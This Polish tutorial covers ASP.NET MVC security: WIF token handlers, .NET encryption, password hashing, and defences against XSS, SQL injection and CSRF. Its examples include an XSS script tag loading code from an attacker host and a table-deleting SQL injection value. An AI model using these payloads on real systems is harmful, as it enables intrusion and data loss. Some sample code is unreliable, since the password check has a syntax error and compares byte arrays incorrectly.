tokeny. Klasy obsługi tokenów są punktem rozszerzalności WIF. WIF posiada kilka wbudowanych klas obsługi tokenów, które mogą być nadpisane w razie potrzeby, należą do nich:

  • EncryptedSecurityTokenHandler
  • KerberosSecurityTokenHandler
  • MembershipUserNameSecurityTokenHandler
  • RsaSecurityTokenHandler
  • Saml2SecurityTokenHandler
  • SamlSecurityTokenHandler
  • SessionSecurityTokenHandler
  • UserNameSecurityTokenHandler
  • WindowsUserNameSecurityTokenHandler
  • X509SecurityTokenHandler

Klasa Saml2SecurityTokenHandler obsługuje serializację i deserializację SAML 2.0 Assertions-backed tokens do obiektu Saml2SecurityToken. Można ustawić STS który obsłuży token SAML 2.0 poprzez dodanie instancji Saml2SecurityTokenHandler do kolekcji SecurityTokenHandlerCollection. Dokonuje się tego zwykle w konfiguracji:

<system.webServer>
    <modules>
        <add name="WSFederationAuthenticationModule" type="Microsoft.IdentityModel.Web.WSFederationAuthenticationModule,
Microsoft.IdentityModel" preCondition="managedHandler" />
    </modules>
</system.webServer>
<configuration>
    <configSections>
        <section name="microsoft.identityModel" type="Microsoft.IdentityModel.Web.Configuration.
MicrosoftIdentityModelSection, Microsoft.IdentityModel" />
    </configSections>
</configuration>
<microsoft.identityModel>
    <service>
        <securityTokenHandlers>
            <securityTokenHandlerConfiguration>
                <clear/>
                <add type="Microsoft.IdentityModel.Tokens.Saml11.
Saml11SecurityTokenHandler, Microsoft.IdentityModel">
                    <samlSecurityTokenRequirement issuerCertificateValidationMode="PeerOrChainTrust" issuerCertificateRevocationMode="Online" issuerCertificateTrustedStoreLocation="LocalMachine" mapToWindows="false" useWindowsTokenService="false">
                        <nameClaimType value="http://schemas.xmlsoap.org/ws/2005/05/
identity/claims/name" />
                        <roleClaimType value="schemas.microsoft.com/ws/2006/04/
identity/claims/role" />
                    </samlSecurityTokenRequirement>
                </add>
            </securityTokenHandlerConfiguration>
        </securityTokenHandlers>
    </service>
</microsoft.identityModel>

Niektóre typy tokenów nie mają wbudowanej obsługi dostarczonej z WIF. Można dodać implementację niestandardowych tokenów wykonując następujące kroki:

  1. Należy użyć klasy SecurityTokenHandler jako klasy bazowej.
  2. Należy nadpisać następujące metody:
  • CanReadToken
  • ReadToken
  • CanWriteToken
  • WriteToken
  • CanValidateToken
  • ValidateToken
  1. W konfiguracji należy dodać referencje do nowej klasy w sekcji . Poniżej przykład dla klasy SWTTokenHandler:
<system.identityModel>
    <identityConfiguration saveBootstrapContext=”true”>
        <securityTokenHandlers>
            <add type=”SWTToken.SWTTokenHandler, SWTToken” />
        </securityTokenHandlers>
    </identityConfiguration>
</system.identityModel>

Zarządzanie integralnością danych

Zarządzanie prywatnością, poczuciem bezpieczeństwa i integralnością danych ma kluczowe znaczenie dla bezpieczeństwa. Większość aplikacji ASP.NET MVC składa się z wprowadzania, wykonywania pracy na a następnie wyprowadzanie danych.

Terminologia związana z szyfrowaniem

  • Szyfrowanie jest procesem zamiany zwykłego tekstu na nieczytelny format (ang. ciphertext) który może zostać odszyfrowany tylko przez aplikacje które posiadają klucz odszyfrowujący.
  • Funkcja skrótu tworzy wartość w oparciu o ciągi danych w zbiorze danych. Zwracana wartość jest ciągiem o stałej długości i zawsze jest taka sama dla tego samego ciągu wejściowego. Po przesłaniu danych, wartość skrótu jest porównywana ze skrótem oryginalnych danych. Jeżeli są takie same to oznacza, że przesłane dane nie zostały zmienione. Funkcja skrótu jest często wykorzystywana do przechowywania haseł.
  • Secure Hash Algorithm (SHA) jest obecnie najpopularniejszym algorytmem tworzącym skróty. Posiada on kilka podtypów min SHA-0 do SHA-3.
  • Solenie jest procesem dodawania losowego ciągu do danych wejściowych przed utworzeniem skrótu lub przed szyfrowaniem. Solenie utrudnia nieautoryzowany dostęp do danych poprzez dodanie nieprzewidywalności.
  • Algorytmy symetryczne i niesymetryczne są używane w procesie szyfrowania. Szyfrowanie symetryczne używa tego samego klucza do szyfrowania i odszyfrowania danych. Szyfrowanie asymetryczne używa dwóch różnych kluczy, które są komplementarne. Klucz publiczny jest szeroko rozpowszechniony i jest wykorzystywany do szyfrowania, natomiast klucz prywatny służy do odszyfrowania danych zaszyfrowanych kluczem publicznym.
  • Advanced Encryption Standard (AES) jest najczęściej wykorzystywanym algorytmem szyfrowania symetrycznego.
  • Secure Sockets Layer (SSL) jest przykładem protokołu używającego szyfrowania asymetrycznego. Serwer web posiada i zarządza kluczem szyfrującym prywatnym podczas gdy publikuje klucz publiczny do wszystkich przeglądarek które odpytują serwer. Pozwala to przeglądarkom zaszyfrować informacje zanim wyślą je do serwera.
  • Rivest, Shamir, and Adleman (RSA) jest najpopularniejszym algorytmem szyfrowania asymetrycznego.

Przykład szyfrowania strumienia algorytmem symetrycznym:

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
    // assumes that the key and initialization vectors are already configured
    CryptoStream crypoStream = new CryptoStream(myManagedStream, rijndaelManaged.
        CreateEncryptor(),CryptoStreamMode.Write);
};

Przykład odszyfrowania strumienia zaszyfrowanego algorytmem symetrycznym:

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
    // assumes that the key and initialization vectors are already configured
    CryptoStream crypoStream = new CryptoStream(myManagedStream, rijndaelManaged.
        CreateDecryptor(),CryptoStreamMode.Read);
};

Przykład szyfrowania algorytmem asymetrycznym:

using (RSACryptoServiceProvider RSA = new RSACryptoServiceProvider())
{
    RSA.ImportParameters(RSAKeyInfo);
    encryptedData = RSA.Encrypt(DataToEncrypt, DoOAEPPadding);
    decryptedData = RSA.Decrypt(encrypyedData, DoOAEPPadding);
}

Parametr RSAKeyInfo jest typu RSAParameters i zawiera klucz publiczny.

Szyfrowanie sekcji konfiguracji aplikacji

W .Net Framework istnieją dwaj dostawcy szyfrowania konfiguracji: DPAPIProtectedConfigurationProvider i RsaProtectedConfigurationProvider. Drugi z nich pozwala na eksportowanie i importowanie klucza szłużącego do szyfrowania dzięki czemu pliki mogą być takie same na wielu serwerach. Za pomocą narzędzia aspnet_regiis.exe z opcjami -pe, -app i -prov można zaszyfrować sekcje pliku Web.config. Służy to do ochrony pliku w przypadku gdy trafi on przypadkowo do użytkownika. Odszyfrowanie odbywa się za pomocą opcji -pd.

Przykład szyfrowania sekcji:

aspnet_regiis -pe "ConnectionStrings" -app "/MachineDPAPI" -prov
"RsaProtectedConfigurationProvider"

Opcja -pe wskazuje sekcję która ma zostać zaszyfrowana. Opcja -app wskazuje wirtualną ścieżkę do aplikacji. Opcja -prov wskazuje wybranego dostawcę szyfrowania.

Kiedy chcemy użyć zaszyfrowanego pliku to musimy do konfiguracji załączyć klucz machineKey, który został użyty do szyfrowania np:

<machineKey validationKey="D61B3C89CB33A2F1422FF158AFF7320E8DB8CB5CDA1742572A487D94018787EF42682B20 2B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE" decryptionKey="FBF50941F22D6A3B229EA593F24C41203DA6837F1122EF17" />

Podpisywanie danych aplikacji

Podpisywanie danych aplikacji zapewnia uwierzytelnianie, autoryzację i niezaprzeczalność. Pozwala to na sprawdzenie partnera komunikacyjnego i daje potwierdzenie, że podpisane dane aplikacji przyszły od partnera, a nie kogoś innego. .Net Framework zgrupował algorytmy szyfrowania i podpisu cyfrowego jako podklasy AsymmetricAlgorithm. Klasa abstrakcyjna ystem.Security.Cryptography.DSA definiuje metodę CreateSignature akceptującą skrót SHA-1, np:

// create the hash code of the text to sign
SHA1 sha = SHA1.Create();
byte[] hashcode = sha.ComputeHash(TextToConvert);

// use the CreateSignature method to sign the data
DSA dsa = DSA.Create();
byte[] signature = dsa.CreateSignature(hashcode);

Podpis i skrót muszą być wysłane do metody weryfikującej VerifySignature jako tablice bajtów, np:

// create the hash code of the text to verify
SHA1 sha = SHA1.Create();
byte[] hashcode = sha.ComputeHash(TextToVerify);

// use the VerifySignature method to verify the DSA signature
DSA dsa = DSA.Create();
bool isSignatureValid = dsa.VerifySignature(hashcode, signature);

Implementacja zabezpieczeń w ASP.NET

Wiele aspektów ASP.NET MVC musi być zabezpieczone. Dotyczy to komunikacji pomiędzy klientem i serwerem jak również przechowywania prywatnych danych.

Certyfikat SSL

SSL jest standardową technologią używaną do ustanowienia szyfrowanego połączenia pomiędzy przeglądarką a serwerem. SSL używa PKI, gdzie klucz publiczny jest związany z firmą lub za pośrednictwem strony trzeciej albo CA. Przed użyciem SSL trzeba włączyć wiązanie HTTPS na serwerze. Później należy wysłać informacje identyfikacyjne wraz z Certificate Signing Request (CSR) do CA w celu sprawdzenia. Po potwierdzeniu informacji CA przysyła dokument zawierający certyfikat który można załadować na serwer. Kiedy wiązanie HTTPS jest dostępne to można użyć atrybutu RequireHttps globalnie lub na poziomie kontrolerów i akcji aby były wykonywane tylko bezpiecznym połączeniem.

Solenie i haszowanie haseł

Przechowywanie haseł jako czysty tekst nie jest bezpieczne. Dwoma głównymi typami ataków na hasła są dictionary attack i brute-force attack. Najprostszą ochroną haseł jest solenie i tworzenie skrótu przed zapisaniem do bazy danych. Losowe ciągi służące do solenia można generować za pomocą Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). Pozwala na to metoda RNGCryptoServiceProvider.GetBytes.

Przykład użycia losowego ciągu przed soleniem i haszowaniem:

public static string CreateTheHash(string passwordToHash)
{
    // Generate the random salt
    RNGCryptoServiceProvider RNGcsp = new RNGCryptoServiceProvider();
    byte[] salt = new byte[NUMBER_OF_BYTES_FOR_THE_SALT];
    RNGcsp.GetBytes(salt);
    // Hash the password and encode the parameters
    byte[] hash = PBKDF2(passwordToHash, salt, PBKDF2_ITERATIONS, NUMBEROFBYTESINHASH);
    return PBKDF2_ITERATIONS + ":" + Convert.ToBase64String(salt) + ":" + Convert.ToBase64String(hash);
}

/// <summary>
/// Computes the PBKDF2-SHA1 hash of a password.
/// </summary>
/// <param name = "password">The password to hash.</param>
/// <param name = "salt">The salt.</param>
/// <param name = "iterations">The PBKDF2 iteration count.</param>
/// <param name = "outputBytes">The length of the hash to generate, in bytes.</param>
/// <returns>A hash of the password.</returns>
private static byte[] PBKDF2(string password, byte[] salt, int iterations, int outputBytes)
{
    Rfc2898DeriveBytes pbkdf2 = new Rfc2898DeriveBytes(password, salt);
    pbkdf2.IterationCount = iterations;
    return pbkdf2.GetBytes(outputBytes);
}

/// <summary>
/// Validates a password against the stored, hashed value.
/// </summary>
/// <param name = "password">The password to check.</param>
/// <param name = "goodHash">A hash of the correct password.</param>
/// <returns>True if the password is correct. False otherwise.</returns>
public static bool ValidatePassword(string password, string goodHash)
{
    // Extract the parameters from the hash
    char[] delimiter =
    {
    ':'
    }

    ;
    string[] split = goodHash.Split(delimiter);
    int iterations = Int32.Parse(split[ITERATION_INDEX]);
    byte[] salt = Convert.FromBase64String(split[SALT_INDEX]);
    byte[] hash = Convert.FromBase64String(split[PBKDF2_INDEX]);
    byte[] testHash = PBKDF2(password, salt, iterations, hash.Length);
    return hash == testHash )
    ;
}

Ponieważ użytkownik nie jest w stanie zobaczyć swojego starego hasła to należy użytkownikowi zapewnić możliwość zresetowania hasła. Proces ten musi również być zabezpieczony. Zwykle wykonuje się to za pomocą tzw pętli email. Pierw tworzy się losową wartość zapisaną w bazie danych i jest przypisana do jednego konta. Tę wartość wysyła się to użytkownika mailem z linkiem do resetowania hasła i limitem czasowym na wykorzystanie.

Użycie Html.Encode i biblioteki AntiXSS

Atak JavaScript injection polega na wstrzyknięciu przez hakera kodu JavaScript do strony poprzez wstawienie kodu do adresu strony lub do formularza Przykładowo do formularza z komentarzem można by było wstawić skrypt:

<script src='http://imahacker.com/hackyou.js'></script>

Jedną z technik zapobiegania jest kodowanie listy znaków. Pomocne są do tego helpery MVC:

<% Html.Encode(review.Title) %>

Kodowanie danych można wykonać również przed ich wyświetlaniem:

public ActionResult Create(string message)
{
    var newEntry = new Entry();
    newEntry.Message = Server.HtmlEncode(message);
    newEntry.EntryDate = DateTime.Now;
    db.Entries.InsertOnSubmit(newEntry);
    db.SubmitChanges();
    return RedirectToAction("Index");
}

Poza kodowaniem danych Microsoft oferuje bibliotekę zbudowana specjalnie do ochrony przed tego typu atakami. Biblioteka AntiXSS używa podejścia z akceptowalną listą znaków które zostaną kodowane przed wyświetleniem aby zapobiec atakom XSS. Bibliotekę można pobrać jako pakiet NuGet.

Odroczona walidacja i obsługa żądań niezweryfikowanych

Standardowym zachowaniem w ASP.NET 4.5 jest to, że wszystkie dane wysyłane z żądania klienta do serwera muszą przejść przez proces walidacji. Jednakże pozwala to również na odroczenie walidacji dopóki te dane nie są używane. Działanie to jest nazywane lazy request validation, ponieważ minimalizuje pracę wykonywaną przez serwer w celu wykonania walidacji JIT. Jest to szczególnie użyteczne jeżeli mamy dane z wielu stron które wykonują wiele żądań do serwera. Można skonfigurować aplikację aby używała tej formy odroczonej walidacji poprzez ustawienie wartości atrybutu requestValidationMode na “4.5” w sekcji httpRuntime pliku Web.config, np:

<httpRuntime requestValidationMode="4.5" ... />

Tak skonfigurowany system sprawdza poprawność tylko kiedy chcemy otrzymać dostęp do konkretnej wartości czyli Request.Form[“description”] nie będzie powodowało sprawdzania wartości equest.Form[“title”]. W starszych wersjach walidacja żądania była wykonywana na całej kolekcji. W ASP.NET 4.5 i ASP.NET MVC 4 programista ma dostęp do niesprawdzonych danych żądania. Właściwość Unvalidated klasy HttpRequest daje dostęp do wszystkich danych żądania, w tym Form, Cookies i QueryString, np:

var s = context.Request.Unvalidated.Form["some_value"];

Zapobieganie atakom SQL injection

Atak SQL injection występuje kiedy haker wstawi komendę SQL do niezabezpieczonego zapytania. Przykład niezabezpieczonej komendy:

con.Open();
SqlCommand com = new SqlCommand("Select * from Employee where EmpID =" +
    txtID.Text, con);
dr = com.ExecuteReader();

Jeżeli wartość txtID jest wstawiana z formularza to w jej wartości można przekazać dodatkowe komendy SQL przykładowo usuwające wszystkie rekordy w tabeli. Użycie średnika i komentarza na koncu komendy (—) powoduje, że SQL Server wykona komendę, np: 1;delete from Employee;—

Ochronę przed tym rodzajem ataków zapewnia stosowanie parametryzacji zapytań używając SQLParameters, np:

SqlDataAdapter adapter = new SqlDataAdapter("AuthorLogin", conn);
adapter.SelectCommand.CommandType = CommandType.StoredProcedure;
SqlParameter param = adapter.SelectCommand.Parameters.Add("@id",
    SqlDbType.VarChar, 11);
param.Value = submittedId;

// ...

SqlDataAdapter adapter = new SqlDataAdapter(
"SELECT username, email FROM user WHERE id = @id", conn);
SQLParameter param = adapter.SelectCommand.Parameters.Add("@id",
    SqlDbType.VarChar, 11);
paarm.Value = submittedId;

Zapobieganie cross-site request forgeries (XSRFs)

Ataki CSRF wykorzystują uprawnienia ofiary do wykonania operacji w przeciwnym razie wymagającej jej zgody. Zabezpieczenie polega na użyciu metody AntiForgery formularza i tokenu ValidateAntiForgeryToken, np:

[RequireSession]
[AcceptVerbs(HttpVerbs.Post)]
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Login(string username, string password, string remember, string deviceToken, string apid)
{
}

// Sample of Razor View code
@using (Html.BeginForm("Login", "Authorize"))
{
    @Html.AntiForgeryToken();
}

Daje to w rezultacie kod HTML postaci:

<form action="..." method="post">
    <input name="__RequestVerificationToken" type="hidden" value="J58uHtyhGtyHgf8kkjgFDeRgjjKKk6khgCvb/ywruFIUUYYVHHHgfft87/gGsQUf/YuP" />
    <!-- your form fields. -->
    <input type="submit" value="Submit"/>
</form>